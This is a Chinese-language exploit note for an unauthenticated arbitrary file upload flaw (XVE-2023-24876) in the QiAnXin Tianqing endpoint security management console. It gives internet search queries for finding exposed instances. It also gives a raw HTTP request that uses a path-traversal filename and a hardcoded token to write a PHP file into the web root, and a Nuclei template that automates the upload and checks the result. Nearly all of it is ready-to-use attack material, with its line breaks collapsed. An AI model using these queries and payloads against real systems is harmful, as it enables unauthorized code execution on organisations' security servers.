奇安信天擎 rptsvr 任意文件上传

# 搜索语法icon_hash="-829652342"banner="QiAnXin web server" || banner="360 web server"  || body="appid":"skylar6" || body="/task/index/detail?id={item.id}" || body="已过期或者未授权，购买请联系4008-136-360"

POST /rptsvr/upload HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (MacintoshT2lkQm95Rw==; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460Upgrade-Insecure-Requests: 1-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/a.php"Content-Type: text/x-python<?php phpinfo();?>-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="token"skylar_report-----------------------------55433477442814818502792421460

# 访问地址http://127.0.0.1/application/api/controllers/a.php

id: qax-tq-rptsvr-fileuploadinfo:  name: qax-tq-rptsvr-fileupload  author: kali  severity: critical  description: 奇安信天擎终端安全管理系统V6.7.0.4130前台文件上传漏洞(XVE-2023-24876)requests:  - raw:      - |        POST /rptsvr/upload HTTP/1.1        Host: {{Hostname}}        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8        Accept-Language: en-US,en;q=0.5        Accept-Encoding: gzip, deflate        Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460        Upgrade-Insecure-Requests: 1        -----------------------------55433477442814818502792421460        Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController.php"        Content-Type: text/x-python        {{randstr}}        -----------------------------55433477442814818502792421460        Content-Disposition: form-data; name="token"        skylar_report        -----------------------------55433477442814818502792421460      - |        GET /application/api/controllers/TController.php HTTP/1.1        Host: {{Hostname}}    matchers:      - type: dsl        dsl:          - "contains_all(body_2, '{{randstr}}') && status_code_2==200"